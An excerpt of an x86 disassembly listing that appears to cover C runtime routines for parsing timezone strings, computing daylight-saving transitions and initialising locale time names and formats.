mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42E12D
cmp dword_4EFB8C, 0
jz short loc_42E13C
mov ecx, dword_4EFB8C
push ecx
mov edx, [ebp+var_C]
push edx
call sub_41C4C0
add esp, 8
test eax, eax
jnz short loc_42E13C
loc_42E12D: ; CODE XREF: sub_42DF80+18Bj
push 0Ch
call sub_41FBE0
add esp, 4
jmp loc_42E327
; ---------------------------------------------------------------------------
loc_42E13C: ; CODE XREF: sub_42DF80+194j
; sub_42DF80+1ABj
push 2
mov eax, dword_4EFB8C
push eax
call sub_419980
add esp, 8
push 10Ch
push offset aTzset_c ; "tzset.c"
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_418D00
add esp, 4
add eax, 1
push eax
call sub_418EF0
add esp, 10h
mov dword_4EFB8C, eax
cmp dword_4EFB8C, 0
jnz short loc_42E18D
push 0Ch
call sub_41FBE0
add esp, 4
jmp loc_42E327
; ---------------------------------------------------------------------------
loc_42E18D: ; CODE XREF: sub_42DF80+1FCj
mov edx, [ebp+var_C]
push edx
mov eax, dword_4EFB8C
push eax
call sub_41C300
add esp, 8
push 0Ch
call sub_41FBE0
add esp, 4
push 3
mov ecx, [ebp+var_C]
push ecx
mov edx, off_451DD4
push edx
call sub_41B1F0
add esp, 0Ch
mov eax, off_451DD4
mov byte ptr [eax+3], 0
mov ecx, [ebp+var_C]
add ecx, 3
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_42E1ED
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_42E1ED: ; CODE XREF: sub_42DF80+259j
mov eax, [ebp+var_C]
push eax
call sub_41B2F0
add esp, 4
imul eax, 0E10h
mov dword_451D48, eax
loc_42E204: ; CODE XREF: sub_42DF80+2AEj
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 2Bh
jz short loc_42E225
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_42E230
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_42E230
loc_42E225: ; CODE XREF: sub_42DF80+28Dj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_42E204
; ---------------------------------------------------------------------------
loc_42E230: ; CODE XREF: sub_42DF80+298j
; sub_42DF80+2A3j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 3Ah
jnz loc_42E2D5
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
push edx
call sub_41B2F0
add esp, 4
imul eax, 3Ch
mov ecx, dword_451D48
add ecx, eax
mov dword_451D48, ecx
loc_42E265: ; CODE XREF: sub_42DF80+304j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42E286
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42E286
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42E265
; ---------------------------------------------------------------------------
loc_42E286: ; CODE XREF: sub_42DF80+2EEj
; sub_42DF80+2F9j
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 3Ah
jnz short loc_42E2D5
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
push ecx
call sub_41B2F0
add esp, 4
mov edx, dword_451D48
add edx, eax
mov dword_451D48, edx
loc_42E2B4: ; CODE XREF: sub_42DF80+353j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_42E2D5
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_42E2D5
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_42E2B4
; ---------------------------------------------------------------------------
loc_42E2D5: ; CODE XREF: sub_42DF80+2B9j
; sub_42DF80+30Fj ...
cmp [ebp+var_4], 0
jz short loc_42E2E9
mov edx, dword_451D48
neg edx
mov dword_451D48, edx
loc_42E2E9: ; CODE XREF: sub_42DF80+359j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
mov dword_451D4C, ecx
cmp dword_451D4C, 0
jz short loc_42E31E
push 3
mov edx, [ebp+var_C]
push edx
mov eax, off_451DD8
push eax
call sub_41B1F0
add esp, 0Ch
mov ecx, off_451DD8
mov byte ptr [ecx+3], 0
jmp short loc_42E327
; ---------------------------------------------------------------------------
loc_42E31E: ; CODE XREF: sub_42DF80+37Cj
mov edx, off_451DD8
mov byte ptr [edx], 0
loc_42E327: ; CODE XREF: sub_42DF80:loc_42E0FEj
; sub_42DF80+1B7j ...
mov esp, ebp
pop ebp
retn
sub_42DF80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E330 proc near ; CODE XREF: sub_4287B0+CFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 0Bh
call sub_41FB40
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_42E360
add esp, 4
mov [ebp+var_4], eax
push 0Bh
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42E330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E360 proc near ; CODE XREF: sub_42E330+12p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_451D4C, 0
jnz short loc_42E374
xor eax, eax
jmp loc_42E656
; ---------------------------------------------------------------------------
loc_42E374: ; CODE XREF: sub_42E360+Bj
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
cmp ecx, dword_451DE0
jnz short loc_42E394
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
cmp eax, dword_451DF0
jz loc_42E55B
loc_42E394: ; CODE XREF: sub_42E360+20j
cmp dword_4EFAD8, 0
jz loc_42E515
xor ecx, ecx
mov cx, word_4EFB78
test ecx, ecx
jnz short loc_42E409
xor edx, edx
mov dx, word_4EFB86
push edx
xor eax, eax
mov ax, word_4EFB84
push eax
xor ecx, ecx
mov cx, word_4EFB82
push ecx
xor edx, edx
mov dx, word_4EFB80
push edx
push 0
xor eax, eax
mov ax, word_4EFB7C
push eax
xor ecx, ecx
mov cx, word_4EFB7E
push ecx
xor edx, edx
mov dx, word_4EFB7A
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 1
call sub_42E660
add esp, 2Ch
jmp short loc_42E45A
; ---------------------------------------------------------------------------
loc_42E409: ; CODE XREF: sub_42E360+4Cj
xor edx, edx
mov dx, word_4EFB86
push edx
xor eax, eax
mov ax, word_4EFB84
push eax
xor ecx, ecx
mov cx, word_4EFB82
push ecx
xor edx, edx
mov dx, word_4EFB80
push edx
xor eax, eax
mov ax, word_4EFB7E
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_4EFB7A
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 1
call sub_42E660
add esp, 2Ch
loc_42E45A: ; CODE XREF: sub_42E360+A7j
xor ecx, ecx
mov cx, word_4EFB24
test ecx, ecx
jnz short loc_42E4C2
xor edx, edx
mov dx, word_4EFB32
push edx
xor eax, eax
mov ax, word_4EFB30
push eax
xor ecx, ecx
mov cx, word_4EFB2E
push ecx
xor edx, edx
mov dx, word_4EFB2C
push edx
push 0
xor eax, eax
mov ax, word_4EFB28
push eax
xor ecx, ecx
mov cx, word_4EFB2A
push ecx
xor edx, edx
mov dx, word_4EFB26
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_42E660
add esp, 2Ch
jmp short loc_42E513
; ---------------------------------------------------------------------------
loc_42E4C2: ; CODE XREF: sub_42E360+105j
xor edx, edx
mov dx, word_4EFB32
push edx
xor eax, eax
mov ax, word_4EFB30
push eax
xor ecx, ecx
mov cx, word_4EFB2E
push ecx
xor edx, edx
mov dx, word_4EFB2C
push edx
xor eax, eax
mov ax, word_4EFB2A
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_4EFB26
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 0
call sub_42E660
add esp, 2Ch
loc_42E513: ; CODE XREF: sub_42E360+160j
jmp short loc_42E55B
; ---------------------------------------------------------------------------
loc_42E515: ; CODE XREF: sub_42E360+3Bj
push 0
push 0
push 0
push 2
push 0
push 0
push 1
push 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
push edx
push 1
push 1
call sub_42E660
add esp, 2Ch
push 0
push 0
push 0
push 2
push 0
push 0
push 5
push 0Ah
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_42E660
add esp, 2Ch
loc_42E55B: ; CODE XREF: sub_42E360+2Ej
; sub_42E360:loc_42E513j
mov edx, dword_451DE4
cmp edx, dword_451DF4
jge short loc_42E5B4
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_451DE4
jl short loc_42E585
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_451DF4
jle short loc_42E58C
loc_42E585: ; CODE XREF: sub_42E360+215j
xor eax, eax
jmp loc_42E656
; ---------------------------------------------------------------------------
loc_42E58C: ; CODE XREF: sub_42E360+223j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_451DE4
jle short loc_42E5B2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_451DF4
jge short loc_42E5B2
mov eax, 1
jmp loc_42E656
; ---------------------------------------------------------------------------
loc_42E5B2: ; CODE XREF: sub_42E360+238j
; sub_42E360+246j
jmp short loc_42E5F7
; ---------------------------------------------------------------------------
loc_42E5B4: ; CODE XREF: sub_42E360+207j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_451DF4
jl short loc_42E5D0
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_451DE4
jle short loc_42E5D7
loc_42E5D0: ; CODE XREF: sub_42E360+260j
mov eax, 1
jmp short loc_42E656
; ---------------------------------------------------------------------------
loc_42E5D7: ; CODE XREF: sub_42E360+26Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_451DF4
jle short loc_42E5F7
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_451DE4
jge short loc_42E5F7
xor eax, eax
jmp short loc_42E656
; ---------------------------------------------------------------------------
loc_42E5F7: ; CODE XREF: sub_42E360:loc_42E5B2j
; sub_42E360+283j ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
imul edx, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, edx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
imul eax, 0E10h
add ecx, eax
imul ecx, 3E8h
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_451DE4
jnz short loc_42E642
mov eax, [ebp+var_4]
cmp eax, dword_451DE8
jl short loc_42E63E
mov eax, 1
jmp short loc_42E656
; ---------------------------------------------------------------------------
loc_42E63E: ; CODE XREF: sub_42E360+2D5j
xor eax, eax
jmp short loc_42E656
; ---------------------------------------------------------------------------
loc_42E642: ; CODE XREF: sub_42E360+2CAj
mov ecx, [ebp+var_4]
cmp ecx, dword_451DF8
jge short loc_42E654
mov eax, 1
jmp short loc_42E656
; ---------------------------------------------------------------------------
loc_42E654: ; CODE XREF: sub_42E360+2EBj
xor eax, eax
loc_42E656: ; CODE XREF: sub_42E360+Fj
; sub_42E360+227j ...
mov esp, ebp
pop ebp
retn
sub_42E360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E660 proc near ; CODE XREF: sub_42E360+9Fp
; sub_42E360+F2p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_4], 1
jnz loc_42E73C
mov eax, [ebp+arg_8]
and eax, 3
test eax, eax
jnz short loc_42E689
mov ecx, [ebp+arg_C]
mov edx, dword_451DF8[ecx*4]
mov [ebp+var_C], edx
jmp short loc_42E696
; ---------------------------------------------------------------------------
loc_42E689: ; CODE XREF: sub_42E660+18j
mov eax, [ebp+arg_C]
mov ecx, dword_451E2C[eax*4]
mov [ebp+var_C], ecx
loc_42E696: ; CODE XREF: sub_42E660+27j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+arg_8]
sub eax, 46h
imul eax, 16Dh
mov ecx, [ebp+var_8]
add ecx, eax
mov edx, [ebp+arg_8]
sub edx, 1
sar edx, 2
lea eax, [ecx+edx-0Dh]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_14]
jge short loc_42E6E9
mov eax, [ebp+arg_14]
sub eax, [ebp+var_4]
mov ecx, [ebp+arg_10]
sub ecx, 1
imul ecx, 7
add ecx, [ebp+var_8]
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_42E6FD
; ---------------------------------------------------------------------------
loc_42E6E9: ; CODE XREF: sub_42E660+6Ej
mov edx, [ebp+arg_14]
sub edx, [ebp+var_4]
mov eax, [ebp+arg_10]
imul eax, 7
add eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_42E6FD: ; CODE XREF: sub_42E660+87j
cmp [ebp+arg_10], 5
jnz short loc_42E73A
mov ecx, [ebp+arg_8]
and ecx, 3
test ecx, ecx
jnz short loc_42E71C
mov edx, [ebp+arg_C]
mov eax, dword_451DFC[edx*4]
mov [ebp+var_10], eax
jmp short loc_42E729
; ---------------------------------------------------------------------------
loc_42E71C: ; CODE XREF: sub_42E660+ABj
mov ecx, [ebp+arg_C]
mov edx, dword_451E30[ecx*4]
mov [ebp+var_10], edx
loc_42E729: ; CODE XREF: sub_42E660+BAj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jle short loc_42E73A
mov ecx, [ebp+var_8]
sub ecx, 7
mov [ebp+var_8], ecx
loc_42E73A: ; CODE XREF: sub_42E660+A1j
; sub_42E660+CFj
jmp short loc_42E771
; ---------------------------------------------------------------------------
loc_42E73C: ; CODE XREF: sub_42E660+Aj
mov edx, [ebp+arg_8]
and edx, 3
test edx, edx
jnz short loc_42E755
mov eax, [ebp+arg_C]
mov ecx, dword_451DF8[eax*4]
mov [ebp+var_14], ecx
jmp short loc_42E762
; ---------------------------------------------------------------------------
loc_42E755: ; CODE XREF: sub_42E660+E4j
mov edx, [ebp+arg_C]
mov eax, dword_451E2C[edx*4]
mov [ebp+var_14], eax
loc_42E762: ; CODE XREF: sub_42E660+F3j
mov ecx, [ebp+var_14]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
add edx, [ebp+arg_18]
mov [ebp+var_8], edx
loc_42E771: ; CODE XREF: sub_42E660:loc_42E73Aj
cmp [ebp+arg_0], 1
jnz short loc_42E7B1
mov eax, [ebp+var_8]
mov dword_451DE4, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov dword_451DE8, ecx
mov edx, [ebp+arg_8]
mov dword_451DE0, edx
jmp loc_42E854
; ---------------------------------------------------------------------------
loc_42E7B1: ; CODE XREF: sub_42E660+115j
mov eax, [ebp+var_8]
mov dword_451DF4, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov dword_451DF8, ecx
mov edx, dword_451D50
imul edx, 3E8h
mov eax, dword_451DF8
add eax, edx
mov dword_451DF8, eax
cmp dword_451DF8, 0
jge short loc_42E821
mov ecx, dword_451DF8
add ecx, 5265C00h
mov dword_451DF8, ecx
mov edx, dword_451DF4
sub edx, 1
mov dword_451DF4, edx
jmp short loc_42E84B
; ---------------------------------------------------------------------------
loc_42E821: ; CODE XREF: sub_42E660+19Cj
cmp dword_451DF8, 5265C00h
jl short loc_42E84B
mov eax, dword_451DF8
sub eax, 5265C00h
mov dword_451DF8, eax
mov ecx, dword_451DF4
add ecx, 1
mov dword_451DF4, ecx
loc_42E84B: ; CODE XREF: sub_42E660+1BFj
; sub_42E660+1CBj
mov edx, [ebp+arg_8]
mov dword_451DF0, edx
loc_42E854: ; CODE XREF: sub_42E660+14Cj
mov esp, ebp
pop ebp
retn
sub_42E660 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E860 proc near ; DATA XREF: .nsp0:00451BC4o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4EF980, 0
jz loc_42E901
push 48h
push offset aInittime_c ; "inittime.c"
push 2
push 0ACh
push 1
call sub_419300
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42E89C
mov eax, 1
jmp loc_42E937
; ---------------------------------------------------------------------------
loc_42E89C: ; CODE XREF: sub_42E860+30j
mov eax, [ebp+var_4]
push eax
call sub_42E940
add esp, 4
test eax, eax
jz short loc_42E8CD
mov ecx, [ebp+var_4]
push ecx
call sub_42EED0
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_419980
add esp, 8
mov eax, 1
jmp short loc_42E937
; ---------------------------------------------------------------------------
loc_42E8CD: ; CODE XREF: sub_42E860+4Aj
mov eax, [ebp+var_4]
mov off_4525E8, eax
mov ecx, dword_4EFB94
push ecx
call sub_42EED0
add esp, 4
push 2
mov edx, dword_4EFB94
push edx
call sub_419980
add esp, 8
mov eax, [ebp+var_4]
mov dword_4EFB94, eax
xor eax, eax
jmp short loc_42E937
; ---------------------------------------------------------------------------
loc_42E901: ; CODE XREF: sub_42E860+Bj
mov off_4525E8, offset off_4525F0
mov ecx, dword_4EFB94
push ecx
call sub_42EED0
add esp, 4
push 2
mov edx, dword_4EFB94
push edx
call sub_419980
add esp, 8
mov dword_4EFB94, 0
xor eax, eax
loc_42E937: ; CODE XREF: sub_42E860+37j
; sub_42E860+6Bj ...
mov esp, ebp
pop ebp
retn
sub_42E860 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E940 proc near ; CODE XREF: sub_42E860+40p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], 0
xor eax, eax
mov ax, word_4EFBCE
mov [ebp+var_4], eax
xor ecx, ecx
mov cx, word_4EFBD0
mov [ebp+var_8], ecx
cmp [ebp+arg_0], 0
jnz short loc_42E972
or eax, 0FFFFFFFFh
jmp loc_42EECB
; ---------------------------------------------------------------------------
loc_42E972: ; CODE XREF: sub_42E940+28j
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 31h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8
push edx
push 32h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0Ch
push edx
push 33h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 34h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 35h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 36h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
push edx
push 37h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 20h
push edx
push 2Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 2Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 2Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 2Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 30h
push edx
push 2Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 34h
push edx
push 2Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 30h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 38h
push edx
push 44h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 3Ch
push edx
push 45h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
push 46h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 44h
push edx
push 47h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 48h
push edx
push 48h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 4Ch
push edx
push 49h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 50h
push edx
push 4Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 54h
push edx
push 4Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 58h
push edx
push 4Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 5Ch
push edx
push 4Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 60h
push edx
push 4Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 64h
push edx
push 4Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 68h
push edx
push 38h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 6Ch
push edx
push 39h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 70h
push edx
push 3Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 74h
push edx
push 3Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 78h
push edx
push 3Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 7Ch
push edx
push 3Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
push 3Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 84h
push edx
push 3Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 88h
push edx
push 40h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8Ch
push edx
push 41h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 90h
push edx
push 42h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 94h
push edx
push 43h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 98h
push edx
push 28h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 9Ch
push edx
push 29h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A0h
push edx
push 1Fh
mov eax, [ebp+var_8]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A4h
push edx
push 20h
mov eax, [ebp+var_8]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A8h
push edx
push 1003h
mov eax, [ebp+var_8]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
loc_42EECB: ; CODE XREF: sub_42E940+2Dj
mov esp, ebp
pop ebp
retn
